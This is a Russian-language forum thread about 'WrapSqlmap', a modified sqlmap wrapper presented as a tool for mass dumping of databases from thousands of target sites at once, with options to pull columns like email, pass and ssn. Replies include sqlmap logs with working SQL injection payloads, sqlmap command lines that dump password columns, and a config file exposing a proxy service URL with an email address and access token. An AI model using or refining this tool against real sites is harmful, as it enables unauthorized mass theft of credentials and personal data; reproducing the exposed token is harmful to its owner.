Статья WrapSqlmap - массовый слив баз с помощью доработанного sqlmap

Привет, Codeby. Давным давно мне в руки попала версия sqlmap, который может все то, что и оригинальный sqlmap, только цель мы указываем в файле sites.txt( в wrapper_config.py можно изменить название файла ) и не одну. Допустим, если Вы арендуете сервак средней мощности, то за день WrapSqlmap может проверить около 3-4 тысяч сайтов. Я попытался найти автора программы, но так и не получилось( если кто знает автора передайте ему респект ). Также я знаю, что есть еще одна версия, где полностью переписано ядро. Ссылка на скачивание -

Итак, все самое главное находится в двух файлах wrapper_config.py и wrapper.py.

29271


В этом файле мы изменяем нужные нам параметры, допустим название файла с целями, указываем параметры для Sqlmap: RISK, LEVEL, потоки, прокси и прочее...

Я как человек, который любит писать все свое не удержался и решил немного доработать, хоть здесь и так все на высоте, я добавил всего то пару функций, первая это проверка файла с целями, она проверяет стоит ли перед доменом протокол( http, https ), если нет, то добавляет, также ищет и удаляет такие домены как facebook, microsoft и.т.п. Если вы не хотите, чтобы прога проверяла Ваш файл с целями, то в wrapper_config.py найдите параметр Check_List и поставьте значение False. Также я добавил слив по колонкам, то есть при запуске программы Вы указываете колонки, которые sqlmap должен слить. Пример:
Код:
python wrapper.py email,pass,ssn
Если Вы не укажете аргумент, то поиск колонок будет идти по умолчанию. Программа параллельно открывает кучу потоков и запускает sqlmap. Я специально не хочу все рассказывать об этой программе, так как натворить дел с помощью нее можно. Вот скриншот работы программы:

29272

Сайт на скриншоте был взят в качестве примера, никакого вреда причинено не было

Я думаю, что такую программу все-таки нужно разместить в открытый доступ, так как у многих с которыми я общался она уже есть. Я еще планирую ее доработать для себя, например сделать удаление дубликатов сразу при проверке файла с целями, хоть такая функция уже есть в оригинальном коде, я не знаю насколько хорошо она работает и возможно изменю параметры самой команды sqlmap.

P.S Если Вы найдете дампы, то они старого владельца, как и список с целями, которые уже неактуальны как и дампы.
 
Последнее редактирование:
как установить подскажите)) а то сегодня первый раз линукс установил))
 
Ничего он не сливает. Я тут в ждуна играю уже и ничего в результатах нет.
 
Если у кого-то проблемы со сливом, то Вам нужно увеличить время в скрипте, также я изменил параметры, ссылка на файл:
P.S Я ведь специально не все рассказал или Вы думаете, что все так легко, увеличивайте время и помните, что это SQLMAP

Ничего он не сливает. Я тут в ждуна играю уже и ничего в результатах нет.
Увеличь таймаут в конфиге и скачай скрипт выше
 
  • Нравится
Реакции: ERROR_RIF, Scobydy и SlipX
Увеличь таймаут в конфиге и скачай скрипт выше
Сейчас попробую всё это проделать. Но дело в том, что тестируя уязвимый сайт пошагово dbs, tables...etc - все нормально работает, без увеличения и вообще опции таймаута. Если составляю команду для автоматического поиска уязвимости и дампа нужных данных просто через сам sqlmap, то опять же, всё ищет и все дампит, а вот через wrapper ничего. Часто постоянные ошибки, что использую какой то не тот sqlmap и что то связанное с опцией start. Все это на parrot os
 
Все так же.

Parameter: test (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: test=query' RLIKE (SELECT (CASE WHEN (4429=4429) THEN 0x7175657279 ELSE 0x28 END))-- UOvF

Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: test=query' UNION ALL SELECT NULL,CONCAT(0x7178787871,0x666b41497054684b67554266747255574b6d534f517671774368666e444e56474d636e6e4e486250,0x716a786a71),NULL#
---
[20:54:33] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL Unknown
[20:54:33] [WARNING] missing table parameter, sqlmap will retrieve the number of entries for all database management system databases' tables
[20:54:33] [INFO] fetching database names
[20:54:33] [INFO] fetching tables for databases: 'acuart, information_schema'
[20:54:33] [INFO] skipping system databases 'information_schema, mysql, performance_schema'
Database: acuart
+----------+---------+
| Table | Entries |
+----------+---------+
| pictures | 7 |
| categ | 4 |
| artists | 3 |
| products | 3 |
| users | 1 |
+----------+---------+

do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
> 1
[20:54:33] [INFO] skipping system databases 'information_schema, mysql, performance_schema'
[20:54:33] [INFO] searching columns LIKE ' pass'
[20:54:33] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[20:54:34] [INFO] fetching number of databases with tables containing columns LIKE ' pass'
[20:54:34] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:54:34] [INFO] retrieved: 0

[20:54:34] [ERROR] wrong checksum of file '/home/user/wrap_sqlmap/lib/techniques/blind/inference.py' detected
[20:54:34] [CRITICAL] code integrity check failed (turning off automatic issue creation). You should retrieve the latest development version from official GitHub repository at 'sqlmapproject/sqlmap'

Traceback (most recent call last):
File "sqlmap.py", line 155, in main
start()
File "/home/user/wrap_sqlmap/lib/controller/controller.py", line 653, in start
action()
File "/home/user/wrap_sqlmap/lib/controller/action.py", line 127, in action
conf.dbmsHandler.search()
File "/home/user/wrap_sqlmap/plugins/generic/search.py", line 603, in search
self.searchColumn()
File "/home/user/wrap_sqlmap/plugins/generic/search.py", line 482, in searchColumn
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
File "/home/user/wrap_sqlmap/lib/request/inject.py", line 433, in getValue
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
File "/home/user/wrap_sqlmap/lib/request/inject.py", line 286, in _goInferenceProxy
outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
File "/home/user/wrap_sqlmap/lib/request/inject.py", line 129, in _goInferenceFields
output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field)
File "/home/user/wrap_sqlmap/lib/request/inject.py", line 101, in _goInference
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
File "/home/user/wrap_sqlmap/lib/techniques/blind/inference.py", line 657, in bisection
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
NameError: global name 'safecharencode' is not defined

[*] shutting down at 20:54:34

get sqli/table(s) numeration
remove temp folder
┌─[user@parrot]─[~/wrap_sqlmap]
 
Все так же.

Parameter: test (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: test=query' RLIKE (SELECT (CASE WHEN (4429=4429) THEN 0x7175657279 ELSE 0x28 END))-- UOvF

Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: test=query' UNION ALL SELECT NULL,CONCAT(0x7178787871,0x666b41497054684b67554266747255574b6d534f517671774368666e444e56474d636e6e4e486250,0x716a786a71),NULL#
---
[20:54:33] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL Unknown
[20:54:33] [WARNING] missing table parameter, sqlmap will retrieve the number of entries for all database management system databases' tables
[20:54:33] [INFO] fetching database names
[20:54:33] [INFO] fetching tables for databases: 'acuart, information_schema'
[20:54:33] [INFO] skipping system databases 'information_schema, mysql, performance_schema'
Database: acuart
+----------+---------+
| Table | Entries |
+----------+---------+
| pictures | 7 |
| categ | 4 |
| artists | 3 |
| products | 3 |
| users | 1 |
+----------+---------+

do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
> 1
[20:54:33] [INFO] skipping system databases 'information_schema, mysql, performance_schema'
[20:54:33] [INFO] searching columns LIKE ' pass'
[20:54:33] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[20:54:34] [INFO] fetching number of databases with tables containing columns LIKE ' pass'
[20:54:34] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:54:34] [INFO] retrieved: 0

[20:54:34] [ERROR] wrong checksum of file '/home/user/wrap_sqlmap/lib/techniques/blind/inference.py' detected
[20:54:34] [CRITICAL] code integrity check failed (turning off automatic issue creation). You should retrieve the latest development version from official GitHub repository at 'sqlmapproject/sqlmap'

Traceback (most recent call last):
File "sqlmap.py", line 155, in main
start()
File "/home/user/wrap_sqlmap/lib/controller/controller.py", line 653, in start
action()
File "/home/user/wrap_sqlmap/lib/controller/action.py", line 127, in action
conf.dbmsHandler.search()
File "/home/user/wrap_sqlmap/plugins/generic/search.py", line 603, in search
self.searchColumn()
File "/home/user/wrap_sqlmap/plugins/generic/search.py", line 482, in searchColumn
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
File "/home/user/wrap_sqlmap/lib/request/inject.py", line 433, in getValue
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
File "/home/user/wrap_sqlmap/lib/request/inject.py", line 286, in _goInferenceProxy
outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
File "/home/user/wrap_sqlmap/lib/request/inject.py", line 129, in _goInferenceFields
output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field)
File "/home/user/wrap_sqlmap/lib/request/inject.py", line 101, in _goInference
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
File "/home/user/wrap_sqlmap/lib/techniques/blind/inference.py", line 657, in bisection
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
NameError: global name 'safecharencode' is not defined

[*] shutting down at 20:54:34

get sqli/table(s) numeration
remove temp folder
┌─[user@parrot]─[~/wrap_sqlmap]
Используй новую версию, у меня на debian работает, попробуй переустановить sqlmap, а wrapper оставь
 
Подскажите по фаилу wrapper_config.ру
Код:
#coding: utf-8

# proxy types: http|https|socks4|socks5


DEBUG = True # False - without logs
#DEBUG = False # False - without logs
LOG_FILE = 'wrapper_session.log'

SQLMAP_DUMPS = 'dumps'
WRAPPER_TXT_DUMPS = 'txt_dumps'

URLS_FILE = 'sites.txt'
PROXY = False # False if work without it
PROXY_TYPE = 'socks5'
PROXY_URL = 'https://www.proxx.net/ru/proxies.txt?cc=JP&user_email=patrikiy.vorobev@list.ru&user_token=dcvPPbvsz7oSKEEdeh44' # first
PROXY_FILE = 'proxy.txt' # second if not first
PROXY_USERNAME = ''
PROXY_PASSWORD = ''
THREADS = 10
URLS_LIMIT = 10000000
DUMP_FOLDER = 'dumps'
DUMP_COLUMN_LIMIT = 20 # 91 - 100 ...
TIMEOUT = 240 # sec
RETRIES = 5

DELETE=False

RISK = 3
LEVEL = 2
Как правильно настроить что бы прокси заработали?
Что нужно изменить?
 
Я не пойму, как он может дампить, если команды не правильно выполняются. Щас объясню, что заметил. Во первых, в кофиге есть вот это
Код:
'-D%s' % db,
'-T%s' % table,
А по идее должен быть пробел,
Код:
'-D %s' % db,
'-T %s' % table,
иначе команда выполняется слитно, то есть типа так -Ddatabase -Tmember

Команда поиска в конфиге выполняется так
Код:
--search "-C mail, pass"
Но ковычек быть не должно
Код:
--search -C mail,pass

Как их убрать не понял, не шарю. Проверял командой

Код:
sqlmap -u http://testphp.vulnweb.com/search.php?test=query --random-agent --ignore-proxy --ignore-redirects --keep-alive --threads=10 --answer="hashes=N, crack=N, level=N, risk=N, back-end DBMS=N " --search -C mail,pass --batch
Всё работает, всё дампит.
Заключил в ковычки и результата 0
Код:
sqlmap -u http://testphp.vulnweb.com/search.php?test=query --random-agent --ignore-proxy --ignore-redirects --keep-alive --threads=10 --answer="hashes=N, crack=N, level=N, risk=N, back-end DBMS=N " --search "-C mail,pass" --batch
Ансверы в wrapper.py вроде бы тоже не правильно выполняются, и в моём примере сверху работают точно, хотя не знаю, как влияют обратные слеши на правильное выполнение
Код:
--answer=\"quit=n\" --answer=\"crack=n\"
 
Я не пойму, как он может дампить, если команды не правильно выполняются. Щас объясню, что заметил. Во первых, в кофиге есть вот это
Код:
'-D%s' % db,
'-T%s' % table,
А по идее должен быть пробел,
Код:
'-D %s' % db,
'-T %s' % table,
иначе команда выполняется слитно, то есть типа так -Ddatabase -Tmember

Команда поиска в конфиге выполняется так
Код:
--search "-C mail, pass"
Но ковычек быть не должно
Код:
--search -C mail,pass

Как их убрать не понял, не шарю. Проверял командой

Код:
sqlmap -u http://testphp.vulnweb.com/search.php?test=query --random-agent --ignore-proxy --ignore-redirects --keep-alive --threads=10 --answer="hashes=N, crack=N, level=N, risk=N, back-end DBMS=N " --search -C mail,pass --batch
Всё работает, всё дампит.
Заключил в ковычки и результата 0
Код:
sqlmap -u http://testphp.vulnweb.com/search.php?test=query --random-agent --ignore-proxy --ignore-redirects --keep-alive --threads=10 --answer="hashes=N, crack=N, level=N, risk=N, back-end DBMS=N " --search "-C mail,pass" --batch
Ансверы в wrapper.py вроде бы тоже не правильно выполняются, и в моём примере сверху работают точно, хотя не знаю, как влияют обратные слеши на правильное выполнение
Код:
--answer=\"quit=n\" --answer=\"crack=n\"
Я не пойму, как он может дампить, если команды не правильно выполняются. Щас объясню, что заметил. Во первых, в кофиге есть вот это
Код:
'-D%s' % db,
'-T%s' % table,
А по идее должен быть пробел,
Код:
'-D %s' % db,
'-T %s' % table,
иначе команда выполняется слитно, то есть типа так -Ddatabase -Tmember

Команда поиска в конфиге выполняется так
Код:
--search "-C mail, pass"
Но ковычек быть не должно
Код:
--search -C mail,pass

Как их убрать не понял, не шарю. Проверял командой

Код:
sqlmap -u http://testphp.vulnweb.com/search.php?test=query --random-agent --ignore-proxy --ignore-redirects --keep-alive --threads=10 --answer="hashes=N, crack=N, level=N, risk=N, back-end DBMS=N " --search -C mail,pass --batch
Всё работает, всё дампит.
Заключил в ковычки и результата 0
Код:
sqlmap -u http://testphp.vulnweb.com/search.php?test=query --random-agent --ignore-proxy --ignore-redirects --keep-alive --threads=10 --answer="hashes=N, crack=N, level=N, risk=N, back-end DBMS=N " --search "-C mail,pass" --batch
Ансверы в wrapper.py вроде бы тоже не правильно выполняются, и в моём примере сверху работают точно, хотя не знаю, как влияют обратные слеши на правильное выполнение
Код:
--answer=\"quit=n\" --answer=\"crack=n\"
Сейчас он ищет по таблицам, я знаю про кавычки, но у меня срабатывает, видимо это связанно с тем, что мы вызываем команду, пока точно не знаю, разберусь, насчет answer спасибо, посмотрю, я там нечего не трогал, тут оригинальный код, проверю есть ли проблемы с кавычками
 
Сейчас он ищет по таблицам, я знаю про кавычки, но у меня срабатывает, видимо это связанно с тем, что мы вызываем команду, пока точно не знаю, разберусь, насчет answer спасибо, посмотрю, я там нечего не трогал, тут оригинальный код, проверю есть ли проблемы с кавычками
Править его нужно по моему конкретно. Answer в одну строку можно. Кому особо не дорога досканальность, можно и smart впилить, но это лучше оставить на выбор пользователя. Подправишь - будет круто.
ПС в ковычки вот так нужно --search -C "mail,pass"
 
помогите пожалуйста, просто не пойму в чем ошибка
Bash:
cant open sites.txt check file
 
а с прокси не подскажите?
Как сделать что бы они заработали?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD